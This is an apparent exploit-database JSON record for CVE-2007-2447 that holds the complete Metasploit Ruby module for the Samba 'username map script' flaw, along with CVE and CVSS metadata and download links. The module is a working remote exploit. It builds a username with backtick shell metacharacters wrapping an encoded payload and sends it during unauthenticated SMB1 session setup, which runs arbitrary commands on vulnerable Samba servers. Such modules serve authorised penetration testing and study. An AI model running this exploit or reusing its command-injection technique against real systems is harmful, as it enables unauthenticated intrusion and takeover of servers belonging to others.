{"exploit":{"id":"MSF-multi--samba--usermap_script","name":"Samba \"username map script\" Command Execution","description":"This module exploits a command execution vulnerability in Samba versions 3.0.20 through 3.0.25rc3 when using the non-default \"username map script\" configuration option. By specifying a username containing shell meta characters, attackers can execute arbitrary commands. No authentication is needed to exploit this vulnerability since this option is used to map usernames prior to authentication!","cves":["CVE-2007-2447"],"author":"jduck","published":"2007-05-14","platform":"Unix","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/multi/samba/usermap_script.rb","path":"modules/exploits/multi/samba/usermap_script.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"usermap_script.rb","vulnerabilities":[{"id":"CVE-2007-2447","state":"PUBLISHED","title":null,"titleSource":null,"description":"The MS-RPC functionality in smbd in Samba 3.0.0 through 3.0.25rc3 allows remote attackers to execute arbitrary commands via shell metacharacters involving the (1) SamrChangePassword function, when the \"username map script\" smb.conf option is enabled, and allows remote authenticated users to execute commands via shell metacharacters involving other MS-RPC functions in the (2) remote printer and (3) file share management.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-2447","cvss":{"version":"2.0","baseScore":6,"severity":"medium","vectorString":"AV:N/AC:M/Au:S/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-2447"},"updatedAt":"2025-11-04T21:08:04.094Z","retrievedAt":"2026-11-26T12:40:19.291Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-multi--samba--usermap_script.png?v=2","url":"https://exploitbin.com/exploits/MSF-multi--samba--usermap_script","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--samba--usermap_script/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--samba--usermap_script/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::Remote::SMB::Client\n\n  # For our customized version of session_setup_no_ntlmssp\n  CONST = Rex::Proto::SMB::Constants\n  CRYPT = Rex::Proto::SMB::Crypt\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Samba \"username map script\" Command Execution',\n        'Description' => %q{\n          This module exploits a command execution vulnerability in Samba\n          versions 3.0.20 through 3.0.25rc3 when using the non-default\n          \"username map script\" configuration option. By specifying a username\n          containing shell meta characters, attackers can execute arbitrary\n          commands.\n\n          No authentication is needed to exploit this vulnerability since\n          this option is used to map usernames prior to authentication!\n        },\n        'Author' => [ 'jduck' ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          [ 'CVE', '2007-2447' ],\n          [ 'OSVDB', '34700' ],\n          [ 'BID', '23972' ],\n          [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=534' ],\n          [ 'URL', 'http://samba.org/samba/security/CVE-2007-2447.html' ]\n        ],\n        'Platform' => ['unix'],\n        'Arch' => ARCH_CMD,\n        'Privileged' => true, # root or nobody user\n        'Payload' => {\n          'Space' => 1024,\n          'DisableNops' => true,\n          'Compat' =>\n                        {\n                          'PayloadType' => 'cmd',\n                          # *_perl and *_ruby work if they are installed\n                          # mileage may vary from system to system..\n                        }\n        },\n        'Targets' => [\n          [ \"Automatic\", {} ]\n        ],\n        'DefaultTarget' => 0,\n        'DisclosureDate' => '2007-05-14',\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        Opt::RPORT(139)\n      ]\n    )\n\n    deregister_options('SMB::ProtocolVersion')\n  end\n\n  def exploit\n    vprint_status('Use Rex client (SMB1 only) since this module is not compatible with RubySMB client')\n    connect(versions: [1])\n\n    # lol?\n    username = \"/=`nohup \" + payload.encoded + \"`\"\n    begin\n      simple.client.negotiate(false)\n      simple.client.session_setup_no_ntlmssp(username, rand_text(16), datastore['SMBDomain'], false)\n    rescue ::Timeout::Error, XCEPT::LoginError\n      # nothing, it either worked or it didn't ;)\n    end\n\n    handler\n  end\nend\n","sha256":"0287936f99de01e85d1103113204be19be916a276e5ea40cd99463ca9d8da6b7","bytes":2805,"fetchedAt":"2026-11-26T12:40:17.623Z","encoding":"utf-8 (display only; download retains original bytes)"}